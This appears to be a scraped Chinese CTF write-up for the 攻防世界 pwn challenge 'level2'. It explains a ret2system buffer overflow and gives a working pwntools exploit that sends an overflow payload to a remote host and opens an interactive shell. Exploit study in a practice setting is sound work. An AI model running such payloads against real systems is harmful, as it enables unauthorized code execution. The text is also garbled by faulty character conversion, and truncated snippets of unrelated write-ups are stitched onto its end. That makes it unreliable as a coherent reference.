攻防世界pwn新手練習(level2)

2021-10-01 15:25:15 字數 1239 閱讀 7550

可以看到題上已經有提示了(rop)

我們看一下程式的保護狀態和它的運**況

開了nx,問題不大。執行可以發現有乙個輸入點

放ida裡看看

在字串視窗可以發現有**/bin/sh**,並且左邊的函式視窗可以看到在.plt段有system函式

這就很舒服了呀,再結合一下題目給的提示,構造rop鏈就行,效果如下:

具體exp如下:

from pwn import

*#context.log_level = 'debug'

r = remote(

"111.198.29.45"

,49673

)bin_sh =

0x0804a024

system =

0x08048320

r.recvuntil(

"input:\n"

)payload =

'a'*

(0x88)+

'a'*

4+ p32(system)

+ p32(0)

+ p32(bin_sh)

r.send(payload)

r.interactive(

)

寫payload的時候要注意乙個問題:

所以在函式位址後面首先要去覆蓋它的返回位址

over

最後放一下我的部落格(www.buryia.top),有興趣的可以來看看(萌新的小天地,大

佬們輕點噴)

攻防世界pwn新手練習(level0)

老規矩哦,我們先checksec一下,收集一下資訊 唔,沒啥東西,繼續ida吧。emmm,主函式倒是挺簡單的,就一行列印,一行輸入 但 不知你們有公尺有發現有個很奇怪的函式名,我們悄悄的瞅一瞅 果然不對勁,首先它的名字中有個system 手動加粗 這個是什麼東西嘞,簡單的來說,它擁有系統的最高許可權...

攻防世界 crypto新手練習區

1 railfence 題目傳統型 假如有乙個字串 123456789 取字串長度的因數進行分組,假如key 3 1 2 3 分組情況,每三個數字一組,分為三組 4 5 6 7 8 9 然後每一組依次取乙個數字組成乙個新字串 147258369 加密完成的字串 123456 www型 同樣乙個字串 ...

pwn 練習6 攻防世界 level3

這個題做的蠻久的,老樣子,基本操作來一遍 通過ida分析後,沒有system函式,也沒有 bin sh這樣的字眼,但題目給了乙個動態庫,於是我們可以通過另乙個庫,來調出system bin sh 兩個呼叫的動態函式庫相同,所以write函式和system函式之間的位址差值是相同的,所以我們的目的是求...